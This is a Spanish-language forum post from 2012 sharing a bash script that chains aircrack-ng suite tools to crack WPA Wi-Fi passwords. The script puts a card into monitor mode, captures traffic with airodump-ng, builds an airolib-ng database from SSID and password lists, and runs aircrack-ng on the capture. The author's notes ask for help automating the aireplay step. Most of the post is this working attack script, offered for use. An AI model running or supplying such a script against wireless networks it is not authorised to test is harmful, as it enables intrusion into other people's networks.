AiroLib-NG Script

Publicado por D3M0N, 26 de Noviembre de 2012, 06:30:05 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

D3M0N


Algunas notas:
- El script supone que conoce el canal del AP.
- Aún se necesita para poner en unas pocas líneas para airelplay, probly abrir una nueva ventana.
- Estoy seguro de que hay alguna manera de automatizar aireplay mediante el archivo de captura-01.txt que airodump escupe.
- El ssidlist.txt passwords.txt y la necesidad de estar en el mismo directorio que el script.
- Estoy seguro de que hay alguna manera de permitir que Autocompletar para eso, pero aún tengo que averiguarlo.
- Algunos de los comentarios son casi irrelevantes.

Todas las sugerencias son apreciadas. Enjoy!

Traté de vincular a Xploitz tutorial # 4, pero los dioses en el foro de nay dijo ... No he hecho bastantes mensajes ... Todos saben dónde está, aunque. : P

Código: php
#########################################################################
#    airolib_script.sh #
#    airolib-ng script that automates the WPA cracking process a bit. #
# by w116tjb #
# #
#########################################################################

##Set Atheros wireless card into monitor mode.
airmon-ng start wifi0

##Choose interface in monitor mode, channel you want to scan, and
##what you want to name your capture file.
read -p "What interface? " iface
read -p "What channel? " chan
read -p "Capture file name? " capture

airodump-ng --channel $chan --write $capture $iface

##Name your database.
read -p "Database name? " database

##Initialize your database.
echo "airolib-ng "$database" init"
airolib-ng $database init

##Until I can find out how to get directories to autocomplete,
##you're stuck typing out the entire struture
read -p "SSID list? " ssid_dir

##Imports the SSID list into the database.
echo "airolib-ng "$database" import ascii essid "$ssid_dir
airolib-ng $database import ascii essid $ssid_dir

##Again, you have to type it all out. Sorry.
read -p "Password list? " pass_dir

##Imports the password file into the database.
echo "airolib-ng "$database" import ascii passwd "$pass_dir
airolib-ng $database import ascii passwd $pass_dir

echo "airolib-ng "$database" clean all"
airolib-ng $database clean all

echo "airolib-ng "$database" batch"
airolib-ng $database batch

echo "airolib-ng "$database" verify all"
airolib-ng $database verify all

echo "aircrack-ng -r "$database $capture"-01.cap"
aircrack-ng -r $database $capture-01.cap